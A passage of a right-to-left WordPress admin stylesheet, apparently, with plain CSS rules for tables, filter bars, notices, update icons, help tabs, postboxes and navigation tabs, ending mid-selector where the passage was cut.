.subsubsub a { line-height: 2; padding: .2em; text-decoration: none; } .subsubsub a .count, .subsubsub a.current .count { color: #50575e; /* #f1f1f1 background */ font-weight: 400; } .subsubsub a.current { font-weight: 600; border: none; } .subsubsub li { display: inline-block; margin: 0; padding: 0; white-space: nowrap; } /* .widefat - main style for tables */ .widefat { border-spacing: 0; width: 100%; clear: both; margin: 0; } .widefat * { word-wrap: break-word; } .widefat a, .widefat button.button-link { text-decoration: none; } .widefat td, .widefat th { padding: 8px 10px; } .widefat thead th, .widefat thead td { border-bottom: 1px solid #c3c4c7; } .widefat tfoot th, .widefat tfoot td { border-top: 1px solid #c3c4c7; border-bottom: none; } .widefat .no-items td { border-bottom-width: 0; } .widefat td { vertical-align: top; } .widefat td, .widefat td p, .widefat td ol, .widefat td ul { font-size: 13px; line-height: 1.5em; } .widefat th, .widefat thead td, .widefat tfoot td { text-align: right; line-height: 1.3em; font-size: 14px; } .widefat th input, .updates-table td input, .widefat thead td input, .widefat tfoot td input { margin: 0 8px 0 0; padding: 0; vertical-align: text-top; } .widefat .check-column { width: 2.2em; padding: 6px 0 25px; vertical-align: top; } .widefat tbody th.check-column { padding: 9px 0 22px; } .widefat thead td.check-column, .widefat tbody th.check-column, .updates-table tbody td.check-column, .widefat tfoot td.check-column { padding: 11px 3px 0 0; } .widefat thead td.check-column, .widefat tfoot td.check-column { padding-top: 4px; vertical-align: middle; } .update-php div.updated, .update-php div.error { margin-right: 0; } .js-update-details-toggle .dashicons { text-decoration: none; } .js-update-details-toggle[aria-expanded="true"] .dashicons::before { content: "\f142"; content: "\f142" / ''; } .no-js .widefat thead .check-column input, .no-js .widefat tfoot .check-column input { display: none; } .widefat .num, .column-comments, .column-links, .column-posts { text-align: center; } .widefat th#comments { vertical-align: middle; } .wrap { margin: 10px 2px 0 20px; } .wrap > h2:first-child, /* Back-compat for pre-4.4 */ .wrap [class$="icon32"] + h2, /* Back-compat for pre-4.4 */ .postbox .inside h2, /* Back-compat for pre-4.4 */ .wrap h1 { font-size: 23px; font-weight: 400; margin: 0; padding: 9px 0 4px; line-height: 1.3; } .wrap h1.wp-heading-inline { display: inline-block; margin-left: 5px; } .wp-header-end { visibility: hidden; margin: -2px 0 0; } .subtitle { margin: 0; padding-right: 25px; color: #50575e; font-size: 14px; font-weight: 400; line-height: 1; } .subtitle strong { word-break: break-all; } .wrap .add-new-h2, /* deprecated */ .wrap .add-new-h2:active, /* deprecated */ .wrap .page-title-action, .wrap .page-title-action:active { display: inline-block; position: relative; box-sizing: border-box; cursor: pointer; white-space: nowrap; text-decoration: none; text-shadow: none; top: -3px; margin-right: 4px; border: 1px solid #2271b1; border-radius: 2px; background: transparent; font-size: 13px; font-weight: 500; min-height: 32px; line-height: 2.30769231; /* 30px for 32px height */ color: #2271b1; /* use the standard color used for buttons */ padding: 0 12px; -webkit-appearance: none; } .wrap .wp-heading-inline + .page-title-action { margin-right: 0; } .wrap .add-new-h2:hover, /* deprecated */ .wrap .page-title-action:hover { border-color: #0a4b78; color: #0a4b78; } /* lower specificity: color needs to be overridden by :hover and :active */ .page-title-action:focus { color: #0a4b78; } /* Dashicon for language options on General Settings and Profile screens */ .form-table th label[for="locale"] .dashicons, .form-table th label[for="WPLANG"] .dashicons { margin-right: 5px; } .wrap .page-title-action:focus { border-color: #3582c4; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wrap h1.long-header { padding-left: 0; } .wp-dialog { background-color: #fff; } .widgets-chooser ul, #widgets-left .widget-in-question .widget-top, #available-widgets .widget-top:hover, div#widgets-right .widget-top:hover, #widgets-left .widget-top:hover { border-color: #8c8f94; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); } .sorthelper { background-color: #c5d9ed; } .ac_match, .subsubsub a.current { color: #000; } .striped > tbody > :nth-child(odd), ul.striped > :nth-child(odd), .alternate { background-color: #f6f7f7; } .bar { background-color: #f0f0f1; border-left-color: var(--wp-admin-theme-color); } /* Helper classes for plugins to leverage the active WordPress color scheme */ .highlight { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); color: #3c434a; } .wp-ui-primary { color: #fff; background-color: #2c3338; } .wp-ui-text-primary { color: #2c3338; } .wp-ui-highlight { color: #fff; background-color: #2271b1; } .wp-ui-text-highlight { color: #2271b1; } .wp-ui-notification { color: #fff; background-color: #d63638; } .wp-ui-text-notification { color: #d63638; } .wp-ui-text-icon { color: #8c8f94; /* same as new icons */ } /* For emoji replacement images */ img.emoji { display: inline !important; border: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; box-shadow: none !important; } /*------------------------------------------------------------------------------ 1.0 - Text Styles ------------------------------------------------------------------------------*/ .widget .widget-top, .postbox .hndle, .stuffbox .hndle, .control-section .accordion-section-title, .sidebar-name, #nav-menu-header, #nav-menu-footer, .menu-item-handle, .checkbox, .side-info, #your-profile #rich_editing, .widefat thead th, .widefat thead td, .widefat tfoot th, .widefat tfoot td { line-height: 1.4em; } .widget .widget-top, .menu-item-handle { background: #f6f7f7; color: #1d2327; } .stuffbox .hndle { border-bottom: 1px solid #c3c4c7; } .quicktags { background-color: #c3c4c7; color: #000; font-size: 12px; } .icon32 { display: none; } /* @todo can we combine these into a class or use an existing dashicon one? */ .welcome-panel .welcome-panel-close:before, .tagchecklist .ntdelbutton .remove-tag-icon:before, #bulk-titles .ntdelbutton:before, .notice-dismiss:before { background: none; color: #1e1e1e; content: "\f335"; content: "\f335" / ''; display: block; font: normal 20px/1 dashicons; height: 1em; text-align: center; width: 1em; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .welcome-panel .welcome-panel-close:before { margin: 0; } .tagchecklist .ntdelbutton .remove-tag-icon:before { margin-right: 2px; border-radius: 50%; color: var(--wp-admin-theme-color, #3858e9); /* vertically center the icon cross browsers */ line-height: 1.1; } .tagchecklist .ntdelbutton:focus { outline: 0; } .tagchecklist .ntdelbutton:hover .remove-tag-icon:before, .tagchecklist .ntdelbutton:focus .remove-tag-icon:before, #bulk-titles .ntdelbutton:hover:before, #bulk-titles .ntdelbutton:focus:before { color: #d63638; } .tagchecklist .ntdelbutton:focus .remove-tag-icon:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .key-labels label { line-height: 24px; } strong, b { font-weight: 600; } .pre { /* https://developer.mozilla.org/en-US/docs/CSS/white-space */ white-space: pre-wrap; /* css-3 */ word-wrap: break-word; /* IE 5.5 - 7 */ } .howto { color: #646970; display: block; } p.install-help { margin: 8px 0; font-style: italic; } .no-break { white-space: nowrap; } hr { border: 0; border-top: 1px solid #dcdcde; border-bottom: 1px solid #f6f7f7; } .row-actions span.delete a, .row-actions span.trash a, .row-actions span.spam a, .plugins a.delete, #all-plugins-table .plugins a.delete, #search-plugins-table .plugins a.delete, .submitbox .submitdelete, #media-items a.delete, #media-items a.delete-permanently, #nav-menu-footer .menu-delete, #delete-link a.delete, a#remove-post-thumbnail, .privacy_requests .remove-personal-data .remove-personal-data-handle { color: #b32d2e; } abbr.required, span.required, .file-error, .row-actions .delete a:hover, .row-actions .trash a:hover, .row-actions .spam a:hover, .plugins a.delete:hover, #all-plugins-table .plugins a.delete:hover, #search-plugins-table .plugins a.delete:hover, .submitbox .submitdelete:hover, #media-items a.delete:hover, #media-items a.delete-permanently:hover, #nav-menu-footer .menu-delete:hover, #delete-link a.delete:hover, a#remove-post-thumbnail:hover, .privacy_requests .remove-personal-data .remove-personal-data-handle:hover { color: #b32d2e; border: none; } .application-password-display .success { color: #007017; margin-right: 0.5rem; } /*------------------------------------------------------------------------------ 3.0 - Actions ------------------------------------------------------------------------------*/ #major-publishing-actions { padding: 10px; clear: both; border-top: 1px solid #dcdcde; background: #f6f7f7; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; } #delete-action { line-height: 2.30769231; /* 30px */ } #delete-link a { text-decoration: none; } #publishing-action { text-align: left; margin-right: auto; line-height: 1.9; } #publishing-action .spinner { float: none; } #misc-publishing-actions { padding: 6px 0 0; } .misc-pub-section { padding: 6px 10px 8px; } .word-wrap-break-word, .misc-pub-filename { word-wrap: break-word; } #minor-publishing-actions { padding: 10px 10px 0; text-align: left; } #save-post { float: right; } .preview { float: left; } #sticky-span { margin-right: 18px; } .approve, .unapproved .unapprove { display: none; } .unapproved .approve, .spam .approve, .trash .approve { display: inline; } td.action-links, th.action-links { text-align: left; } #misc-publishing-actions .notice { margin-right: 10px; margin-left: 10px; } /* Filter bar */ .wp-filter { display: inline-block; position: relative; box-sizing: border-box; margin: 12px 0 25px; padding: 0 10px; width: 100%; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); border: 1px solid #c3c4c7; background: #fff; color: #50575e; font-size: 13px; } .wp-filter a { text-decoration: none; } .filter-count { display: inline-block; vertical-align: middle; min-width: 4em; } .title-count, .filter-count .count { display: inline-block; position: relative; top: -1px; padding: 4px 10px; border-radius: 30px; background: #646970; color: #fff; font-size: 14px; font-weight: 600; } /* not a part of filter bar, but derived from it, so here for now */ .title-count { display: inline; top: -3px; margin-right: 5px; margin-left: 20px; } .filter-items { float: right; } .filter-links { display: inline-block; margin: 0; } .filter-links li { display: inline-block; margin: 0; } .filter-links li > a { display: inline-block; margin: 0 10px; padding: 15px 0; border-bottom: 4px solid #fff; color: #646970; cursor: pointer; } .filter-links .current { box-shadow: none; border-bottom: 4px solid var(--wp-admin-theme-color); color: #1d2327; } .filter-links li > a:hover, .filter-links li > a:focus, .show-filters .filter-links a.current:hover, .show-filters .filter-links a.current:focus { color: var(--wp-admin-theme-color); } .wp-filter .search-form { float: left; display: flex; align-items: center; column-gap: .5rem; } .wp-filter .search-form input[type="search"] { width: 280px; max-width: 100%; } .wp-filter .search-form select { margin: 0; } .wp-filter .search-form input[type="search"] { min-height: 32px; padding: 0 8px; } .wp-filter .search-form select, .wp-filter .filter-items select { min-height: 32px; line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding: 0 8px 0 24px; } .wp-filter .button { min-height: 32px; line-height: 2.30769231; /* 30px for 32px height with 13px font */ padding: 0 12px; } /* Use flexbox only on the plugins install page and upload page. The `filter-links` and search form children will become flex items. */ .plugin-install-php .wp-filter, .upload-php .wp-filter { display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; } .wp-filter .search-form.search-plugins select, .wp-filter .search-form.search-plugins .wp-filter-search, .no-js .wp-filter .search-form.search-plugins .button { display: inline-block; vertical-align: top; } .wp-filter .button.drawer-toggle { margin: 10px 9px 0; padding: 0 6px 0 10px; border-color: transparent; background-color: transparent; color: #646970; vertical-align: baseline; box-shadow: none; } .wp-filter .drawer-toggle:before { content: "\f111"; content: "\f111" / ''; margin: 0 0 0 5px; color: #646970; font: normal 16px/1 dashicons; vertical-align: text-bottom; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-filter .button.drawer-toggle:hover, .wp-filter .drawer-toggle:hover:before, .wp-filter .button.drawer-toggle:focus, .wp-filter .drawer-toggle:focus:before { background-color: transparent; color: var(--wp-admin-theme-color); } .wp-filter .button.drawer-toggle:hover, .wp-filter .button.drawer-toggle:focus:active { border-color: transparent; } .wp-filter .button.drawer-toggle:focus { border-color: var(--wp-admin-theme-color); } .wp-filter .button.drawer-toggle:active { background: transparent; box-shadow: none; transform: none; } .wp-filter .drawer-toggle.current:before { color: #fff; } .filter-drawer, .wp-filter .favorites-form { display: none; margin: 0 -20px 0 -10px; padding: 20px; border-top: 1px solid #f0f0f1; background: #f6f7f7; overflow: hidden; } .wp-filter .favorites-form .favorites-username { display: flex; align-items: center; flex-wrap: wrap; gap: 0.5rem; } .wp-filter .favorites-form .favorites-username input { margin: 0; } .show-filters .filter-drawer, .show-favorites-form .favorites-form { display: block; } .show-filters .filter-links a.current { border-bottom: none; } .show-filters .wp-filter .button.drawer-toggle { border-radius: 2px; background: #646970; color: #fff; } .show-filters .wp-filter .drawer-toggle:hover, .show-filters .wp-filter .drawer-toggle:focus { background: var(--wp-admin-theme-color); } .show-filters .wp-filter .drawer-toggle:before { color: #fff; } .filter-group { box-sizing: border-box; position: relative; float: right; margin: 0 0 0 1%; padding: 20px 10px 10px; width: 24%; background: #fff; border: 1px solid #dcdcde; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } .filter-group legend { position: absolute; top: 10px; display: block; margin: 0; padding: 0; font-size: 1em; font-weight: 600; } .filter-drawer .filter-group-feature { margin: 28px 0 0; list-style-type: none; font-size: 12px; } .filter-drawer .filter-group-feature input, .filter-drawer .filter-group-feature label { line-height: 1.4; } .filter-drawer .filter-group-feature input { position: absolute; margin: 0; } .filter-group .filter-group-feature label { display: block; margin: 14px 23px 14px 0; } .filter-drawer .buttons { clear: both; margin-bottom: 20px; } .filter-drawer .filter-group + .buttons { margin-bottom: 0; padding-top: 20px; } .filter-drawer .buttons .button span { display: inline-block; opacity: 0.8; font-size: 12px; text-indent: 10px; } .wp-filter .button.clear-filters { display: none; margin-right: 10px; } .wp-filter .button-link.edit-filters { padding: 0 5px; line-height: 2.2; } .filtered-by { display: none; margin: 0; } .filtered-by > span { font-weight: 600; } .filtered-by a { margin-right: 10px; } .filtered-by .tags { display: flex; align-items: flex-start; flex-wrap: wrap; gap: 8px; } .filtered-by .tag { padding: 4px 8px; border: 1px solid #dcdcde; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); background: #fff; font-size: 11px; } .filters-applied .filter-group, .filters-applied .filter-drawer .buttons, .filters-applied .filter-drawer br { display: none; } .filters-applied .filtered-by { display: flex; align-items: center; flex-wrap: wrap; gap: 10px; } .filters-applied .filter-drawer { padding: 20px; } .show-filters .favorites-form, .show-filters .content-filterable, .show-filters.filters-applied.loading-content .content-filterable, .loading-content .content-filterable, .error .content-filterable { display: none; } .show-filters.filters-applied .content-filterable { display: block; } .loading-content .spinner { display: block; margin: 40px auto 0; float: none; } @media only screen and (max-width: 1138px) { .wp-filter .search-form { margin: 11px 0; } } @media only screen and (max-width: 1250px) { .wp-filter:has(.plugin-install-search) .search-form { margin: 11px 0; } } @media only screen and (max-width: 1120px) { .filter-drawer { border-bottom: 1px solid #f0f0f1; } .filter-group { margin-bottom: 0; margin-top: 5px; width: 100%; } .filter-group li { margin: 10px 0; } } @media only screen and (max-width: 1000px) { .filter-items { float: none; } .wp-filter .media-toolbar-primary, .wp-filter .media-toolbar-secondary, .wp-filter .search-form { float: none; /* Remove float from media-views.css */ position: relative; max-width: 100%; } .wp-filter .search-form { margin: 11px 0; flex-wrap: wrap; row-gap: 10px; } } @media only screen and (max-width: 782px) { .filter-group li { padding: 0; width: 50%; } .wp-filter .search-form input[type="search"] { min-height: 40px; padding: 0 12px; } .wp-filter .search-form select, .wp-filter .filter-items select { min-height: 40px; padding: 0 12px 0 24px; } } @media only screen and (max-width: 320px) { .filter-count { display: none; } .wp-filter .drawer-toggle { margin: 10px 0; } .filter-group li, .wp-filter .search-form input[type="search"] { width: 100%; } } /*------------------------------------------------------------------------------ 4.0 - Notifications ------------------------------------------------------------------------------*/ .notice, div.updated, div.error { background: #fff; border: none; border-right: 4px solid #c3c4c7; box-shadow: none; margin: 5px 15px 2px; padding: 8px 12px; } div[class="update-message"] { /* back-compat for pre-4.6 */ padding: 0.5em 0 0.5em 12px; } .notice p, .notice-title, div.updated p, div.error p, .form-table td .notice p { margin: 0.5em 0; padding: 0; font-size: 13px; line-height: 1.54; color: #1e1e1e; } div.notice a, div.error a, div.updated a { color: var(--wp-admin-theme-color-darker-10); text-decoration: underline; } div.notice a:hover, div.error a:hover, div.updated a:hover { color: var(--wp-admin-theme-color-darker-20); } div.notice a:focus, div.error a:focus, div.updated a:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline: 2px solid transparent; border-radius: 2px; } .notice-alt { box-shadow: none; } .notice-large { padding: 10px 20px; } .notice-title { display: inline-block; color: #1d2327; font-size: 18px; } .wp-core-ui .notice.is-dismissible { padding-left: 48px; position: relative; } .notice-dismiss { position: absolute; top: 12px; left: 12px; border: none; margin: 0; padding: 0; background: none; color: #1e1e1e; cursor: pointer; width: 24px; height: 24px; display: flex; align-items: center; justify-content: center; border-radius: 2px; } .notice-dismiss:hover:before, .notice-dismiss:active:before { color: #1e1e1e; opacity: 0.7; } .notice-dismiss:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .notice-dismiss:focus:before { color: #1e1e1e; } .notice-success, div.updated { border-right-color: #4ab866; background-color: #eff9f1; } .notice-success.notice-alt, div.updated.notice-alt { background-color: #eff9f1; } .notice-warning { border-right-color: #f0b849; background-color: #fef8ee; } .notice-warning.notice-alt { background-color: #fef8ee; } .notice-error, div.error { border-right-color: #cc1818; background-color: #fcf0f0; } .notice-error.notice-alt, div.error.notice-alt { background-color: #fcf0f0; } .notice-info { border-right-color: #3858e9; background-color: #fff; } .notice-info.notice-alt { background-color: #fff; } #plugin-information-footer .update-now:not(.button-disabled):before { color: #d63638; content: "\f463"; content: "\f463" / ''; display: inline-block; font: normal 20px/1 dashicons; margin: -3px -2px 0 5px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: middle; } #plugin-information-footer .notice { margin-top: -5px; } .update-message p:before, .updating-message p:before, .updated-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.updated-message:before, .button.installed:before, .button.installing:before, .button.activating-message:before, .button.activated-message:before { display: inline-block; font: normal 20px/1 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .wrap .notice, .wrap div.updated, .wrap div.error, .media-upload-form .notice, .media-upload-form div.error { margin: 5px 0 15px; } .wrap #templateside .notice { display: block; margin: 0; padding: 5px 8px; font-weight: 600; text-decoration: none; } .wrap #templateside span.notice { margin-right: -12px; } #templateside li.notice a { padding: 0; } /* Update icon. */ .update-message p:before, .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before { color: #d63638; content: "\f463"; content: "\f463" / ''; } /* Spins the update icon. */ .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before, .plugins .column-auto-updates .dashicons-update.spin, .theme-overlay .theme-autoupdate .dashicons-update.spin { animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { .updating-message p:before, .import-php .updating-message:before, .button.updating-message:before, .button.installing:before, .button.activating-message:before, .plugins .column-auto-updates .dashicons-update.spin, .theme-overlay .theme-autoupdate .dashicons-update.spin { animation: none; } } .theme-overlay .theme-autoupdate .dashicons-update.spin { margin-left: 3px; } /* Updated icon (check mark). */ .updated-message p:before, .installed p:before, .button.updated-message:before, .button.activated-message:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; } /* Error icon. */ .update-message.notice-error p:before { color: #d63638; content: "\f534"; content: "\f534" / ''; } .wrap .notice p:before, .import-php .updating-message:before { margin-left: 6px; } .import-php .updating-message:before { vertical-align: bottom; } #update-nag, .update-nag { display: inline-block; line-height: 1.4; padding: 11px 15px; font-size: 14px; margin: 25px 2px 0 20px; } ul#dismissed-updates { display: none; } #dismissed-updates li > p { margin-top: 0; } #dismiss, #undismiss { margin-right: 0.5em; } form.upgrade { margin-top: 8px; } form.upgrade .hint { font-style: italic; font-size: 85%; margin: -0.5em 0 2em; } .update-php .spinner { float: none; margin: -4px 0; } h2.wp-current-version { margin-bottom: .3em; } p.update-last-checked { margin-top: 0; } p.auto-update-status { margin-top: 2em; line-height: 1.8; } #ajax-loading, .ajax-loading, .ajax-feedback, .imgedit-wait-spin, .list-ajax-loading { /* deprecated */ visibility: hidden; } #ajax-response.alignleft { margin-right: 2em; } .button.updating-message:before, .button.updated-message:before, .button.installed:before, .button.installing:before, .button.activated-message:before, .button.activating-message:before { margin: 0 -2px 0 5px; line-height: 1.9; /* 38px (20px * 1.9) - matches button */ vertical-align: top; } #plugin-information-footer .button { padding: 0 14px; line-height: 2.71428571; /* 38px */ font-size: 14px; vertical-align: middle; min-height: 40px; margin-bottom: 4px; } #plugin-information-footer .button.installed:before, #plugin-information-footer .button.installing:before, #plugin-information-footer .button.updating-message:before, #plugin-information-footer .button.updated-message:before, #plugin-information-footer .button.activated-message:before, #plugin-information-footer .button.activating-message:before { margin: 0 -2px 0 5px; line-height: 1.9; /* 38px (20px * 1.9) - matches button */ vertical-align: top; } #plugin-information-footer .button.update-now.updating-message:before { margin: 0 -2px 0 5px; } .button-primary.updating-message:before, .button-primary.activating-message:before { color: #fff; } .button-primary.updated-message:before, .button-primary.activated-message:before { color: #9ec2e6; } .button.updated-message, .button.activated-message { transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } /* @todo: this does not need its own section anymore */ /*------------------------------------------------------------------------------ 6.0 - Admin Header ------------------------------------------------------------------------------*/ #adminmenu a, #taglist a, #catlist a { text-decoration: none; } /*------------------------------------------------------------------------------ 6.1 - Screen Options Tabs ------------------------------------------------------------------------------*/ #screen-options-wrap, #contextual-help-wrap { margin: 0; padding: 8px 20px 12px; position: relative; } #contextual-help-wrap { overflow: auto; margin-right: 0; } #screen-meta-links { float: left; margin: 0 0 0 20px; } /* screen options and help tabs revert */ #screen-meta { display: none; margin: 0 0 -1px 20px; position: relative; background-color: #fff; border: 1px solid #c3c4c7; border-top: none; box-shadow: 0 0 0 transparent; } #screen-options-link-wrap, #contextual-help-link-wrap { float: right; margin: 0 6px 0 0; } #screen-meta-links .screen-meta-toggle { position: relative; top: 0; } #screen-meta-links .show-settings { border: 1px solid #c3c4c7; border-top: none; height: auto; margin-bottom: 0; padding: 0 16px 0 6px; background: #fff; border-radius: 0 0 4px 4px; color: #646970; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; } #screen-meta-links .show-settings:hover, #screen-meta-links .show-settings:active, #screen-meta-links .show-settings:focus { color: #2c3338; } #screen-meta-links .show-settings:focus { border-color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #screen-meta-links .show-settings:active { transform: none; } #screen-meta-links .show-settings:after { left: 0; content: "\f140"; content: "\f140" / ''; font: normal 20px/1.5 dashicons; /* line-height 1.5 = 30px to match compact button */ display: inline-block; padding: 0 0 0 5px; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none; } #screen-meta-links .screen-meta-active:after { content: "\f142"; content: "\f142" / ''; } /* end screen options and help tabs */ .toggle-arrow { background-repeat: no-repeat; background-position: top right; background-color: transparent; height: 22px; line-height: 22px; display: block; } .toggle-arrow-active { background-position: bottom right; } #screen-options-wrap h5, /* Back-compat for old plugins */ #screen-options-wrap legend, #contextual-help-wrap h5 { margin: 0; padding: 8px 0; font-size: 13px; font-weight: 600; } .metabox-prefs label { display: inline-block; padding-left: 15px; line-height: 2.35; } #number-of-columns { display: inline-block; vertical-align: middle; line-height: 30px; } .metabox-prefs input[type=checkbox] { margin-top: 0; margin-left: 6px; } .metabox-prefs label input, .metabox-prefs label input[type=checkbox] { margin: -4px 0 0 5px; } .metabox-prefs .columns-prefs label input { margin: -1px 0 0 2px; } .metabox-prefs label a { display: none; } .metabox-prefs .screen-options input, .metabox-prefs .screen-options label { margin-top: 0; margin-bottom: 0; vertical-align: middle; } .metabox-prefs .screen-options .screen-per-page { margin-left: 15px; padding-left: 0; } .metabox-prefs .screen-options label { line-height: 2.2; padding-left: 0; } .screen-options + .screen-options { margin-top: 10px; } .metabox-prefs .submit { margin-top: 1em; padding: 0; } /*------------------------------------------------------------------------------ 6.2 - Help Menu ------------------------------------------------------------------------------*/ #contextual-help-wrap { padding: 0; } #contextual-help-columns { position: relative; } #contextual-help-back { position: absolute; top: 0; bottom: 0; right: 150px; left: 170px; border: 1px solid #c3c4c7; border-top: none; border-bottom: none; background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } #contextual-help-wrap.no-sidebar #contextual-help-back { left: 0; border-left-width: 0; border-bottom-left-radius: 2px; } .contextual-help-tabs { float: right; width: 150px; margin: 0; } .contextual-help-tabs ul { margin: 1em 0; } .contextual-help-tabs li { margin-bottom: 0; list-style-type: none; border-style: solid; border-width: 0 2px 0 0; border-color: transparent; } .contextual-help-tabs a { display: block; padding: 5px 12px 5px 5px; line-height: 1.4; text-decoration: none; border: 1px solid transparent; border-left: none; border-right: none; } .contextual-help-tabs a:hover { color: #2c3338; } .contextual-help-tabs .active { padding: 0; margin: 0 0 0 -1px; border-right: 2px solid var(--wp-admin-theme-color); background: color-mix(in srgb, var(--wp-admin-theme-color) 8%, white); box-shadow: 0 2px 0 rgba(0, 0, 0, 0.02), 0 1px 0 rgba(0, 0, 0, 0.02); } .contextual-help-tabs .active a { border-color: #c3c4c7; color: #2c3338; } .contextual-help-tabs-wrap { padding: 0 20px; overflow: auto; } .help-tab-content { display: none; margin: 0 0 12px 22px; line-height: 1.6; } .help-tab-content.active { display: block; } .help-tab-content ul li { list-style-type: disc; margin-right: 18px; } .contextual-help-sidebar { width: 150px; float: left; padding: 0 12px 0 8px; overflow: auto; } /*------------------------------------------------------------------------------ 8.0 - Layout Blocks ------------------------------------------------------------------------------*/ html.wp-toolbar { padding-top: var(--wp-admin--admin-bar--height); box-sizing: border-box; -ms-overflow-style: scrollbar; /* See ticket #48545 */ } .widefat th, .widefat td { color: #50575e; } .widefat th, .widefat thead td, .widefat tfoot td { font-weight: 400; } .widefat thead tr th, .widefat thead tr td, .widefat tfoot tr th, .widefat tfoot tr td { color: #2c3338; } .widefat td p { margin: 2px 0 0.8em; } .widefat p, .widefat ol, .widefat ul { color: #2c3338; } .widefat .column-comment p { margin: 0.6em 0; } .widefat .column-comment ul { list-style: initial; margin-right: 2em; } /* Screens with postboxes */ .postbox-container { float: right; } .postbox-container .meta-box-sortables { box-sizing: border-box; } #wpbody-content .metabox-holder { padding-top: 10px; } .metabox-holder .postbox-container .meta-box-sortables { /* The jQuery UI Sortables need some initial height to work properly. */ min-height: 1px; position: relative; } #post-body-content { width: 100%; min-width: 463px; float: right; } #post-body.columns-2 #postbox-container-1 { float: left; margin-left: -300px; width: 280px; } #post-body.columns-2 #side-sortables { min-height: 250px; } /* one column on the dash */ @media only screen and (max-width: 799px) { #wpbody-content .metabox-holder .postbox-container .empty-container { outline: none; height: 0; min-height: 0; } } .js .widget .widget-top, .js .postbox .hndle { cursor: move; } .js .widget .widget-top.is-non-sortable, .js .postbox .hndle.is-non-sortable { cursor: auto; } /* Configurable dashboard widgets "Configure" edit-box link. */ .hndle a { font-size: 12px; font-weight: 400; } .postbox-header { display: flex; align-items: center; justify-content: space-between; border-bottom: 1px solid #c3c4c7; } .postbox-header .hndle { flex-grow: 1; /* Handle the alignment for the configurable dashboard widgets "Configure" edit-box link. */ display: flex; justify-content: space-between; align-items: center; } .postbox-header .handle-actions { flex-shrink: 0; } /* Post box order and toggle buttons. */ .postbox .handle-order-higher, .postbox .handle-order-lower, .postbox .handlediv { width: 1.62rem; height: 1.62rem; margin: 0; padding: 0; border: 0; background: none; cursor: pointer; } .postbox .handle-order-higher, .postbox .handle-order-lower { color: #646970; width: 1.62rem; } /* Post box order buttons in the block editor meta boxes area. */ .edit-post-meta-boxes-area .postbox .handle-order-higher, .edit-post-meta-boxes-area .postbox .handle-order-lower { width: 44px; height: 44px; color: #1d2327 } .postbox .handle-order-higher[aria-disabled="true"], .postbox .handle-order-lower[aria-disabled="true"] { cursor: default; color: #a7aaad; } .sortable-placeholder:not(.empty-container .sortable-placeholder) { border: 1px dashed #c3c4c7; border-radius: 8px; margin-bottom: 20px; } .postbox, .stuffbox { margin-bottom: 20px; padding: 0; line-height: 1; } .postbox.closed .postbox-header { border-bottom: 0; } /* user-select is not a part of the CSS standard - may change behavior in the future */ .postbox .hndle, .stuffbox .hndle { -webkit-user-select: none; user-select: none; } .postbox .inside { padding: 0 12px 12px; line-height: 1.4; font-size: 13px; } .stuffbox .inside { padding: 0; line-height: 1.4; font-size: 13px; margin-top: 0; } .postbox .inside { margin: 11px 0; position: relative; } .postbox .inside > p:last-child, .rss-widget ul li:last-child { margin-bottom: 1px !important; } .postbox.closed h3 { border: none; box-shadow: none; } .postbox table.form-table { margin-bottom: 0; } .postbox table.widefat { box-shadow: none; } .temp-border { border: 1px dotted #c3c4c7; } .columns-prefs label { padding: 0 0 0 10px; } /* @todo: what is this doing here */ #dashboard_right_now .versions .b, #post-status-display, #post-visibility-display, #adminmenu .wp-submenu li.current, #adminmenu .wp-submenu li.current a, #adminmenu .wp-submenu li.current a:hover, .media-item .percent, .plugins .name, #pass-strength-result.strong, #pass-strength-result.short, #ed_reply_toolbar #ed_reply_strong, .item-controls .item-order a, .feature-filter .feature-name, #comment-status-display { font-weight: 600; } /*------------------------------------------------------------------------------ 21.0 - Admin Footer ------------------------------------------------------------------------------*/ #wpfooter { position: absolute; bottom: 0; right: 0; left: 0; padding: 10px 20px; color: #50575e; } #wpfooter p { font-size: 13px; margin: 0; line-height: 1.55; } #footer-thankyou { font-style: italic; } /*------------------------------------------------------------------------------ 25.0 - Tabbed Admin Screen Interface (Experimental) ------------------------------------------------------------------------------*/ .nav-tab { float: right; border: 1px solid #c3c4c7; border-bottom: none; margin-right: 0.5em; /* half the font size so set the font size properly */ padding: 5px 10px; font-size: 14px; line-height: 1.71428571; font-weight: 600; background: #dcdcde; color: #50575e; text-decoration: none; white-space: nowrap; } h3 